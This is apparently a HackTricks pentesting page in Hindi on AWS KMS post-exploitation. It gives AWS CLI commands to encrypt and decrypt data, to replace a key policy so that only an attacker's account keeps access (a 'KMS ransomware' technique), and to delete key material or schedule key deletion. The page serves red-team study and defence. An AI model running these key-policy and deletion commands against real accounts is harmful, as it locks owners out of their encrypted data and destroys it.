AWS - KMS Post Exploitation

HackTricks का समर्थन करें

KMS

अधिक जानकारी के लिए देखें:

AWS - KMS Enum

जानकारी एन्क्रिप्ट/डिक्रिप्ट करें

ध्यान दें कि यदि आप किसी फ़ाइल के अंदर कुछ डेटा को डिक्रिप्ट करना चाहते हैं, तो फ़ाइल में बाइनरी डेटा होना चाहिए, न कि बेस64 एन्कोडेड डेटा।

  • एक संपूर्ण कुंजी का उपयोग करना

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • एक असामान्य कुंजी का उपयोग करना:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

एक हमलावर जिसके पास KMS पर विशेषाधिकार प्राप्त पहुंच है, वह कुंजियों की KMS नीति को संशोधित कर सकता है और अपने खाते को उन पर पहुंच प्रदान कर सकता है, वैध खाते को दी गई पहुंच को हटा सकता है।

फिर, वैध खाते के उपयोगकर्ता उन कुंजियों के साथ एन्क्रिप्ट की गई किसी भी सेवा की कोई जानकारी तक पहुंच नहीं प्राप्त कर पाएंगे, जिससे खाते पर एक आसान लेकिन प्रभावी रैंसमवेयर बन जाएगा।

ध्यान दें कि AWS प्रबंधित कुंजियाँ इस हमले से प्रभावित नहीं हैं, केवल ग्राहक प्रबंधित कुंजियाँ

यह भी ध्यान दें कि पैरामीटर --bypass-policy-lockout-safety-check का उपयोग करना आवश्यक है (वेब कंसोल में इस विकल्प की कमी इस हमले को केवल CLI से संभव बनाती है)।

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

ध्यान दें कि यदि आप उस नीति को बदलते हैं और केवल एक बाहरी खाते को एक्सेस देते हैं, और फिर इस बाहरी खाते से आप एक नई नीति सेट करने की कोशिश करते हैं जिससे मूल खाते को फिर से एक्सेस दिया जा सके, तो आप सक्षम नहीं होंगे

Generic KMS Ransomware

Global KMS Ransomware

एक वैश्विक KMS Ransomware करने का एक और तरीका है, जिसमें निम्नलिखित चरण शामिल होंगे:

  • एक नया की बनाएं जिसमें हमलावर द्वारा आयातित की सामग्री हो

  • पुराने डेटा को फिर से एन्क्रिप्ट करें जो पिछले संस्करण के साथ एन्क्रिप्ट किया गया था, नए के साथ।

  • KMS की को हटाएं

  • अब केवल हमलावर, जिसके पास मूल की सामग्री है, एन्क्रिप्टेड डेटा को डिक्रिप्ट करने में सक्षम होगा

Destroy keys

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

ध्यान दें कि AWS अब पिछले कार्यों को क्रॉस अकाउंट से किए जाने से रोकता है:

HackTricks का समर्थन करें

Last updated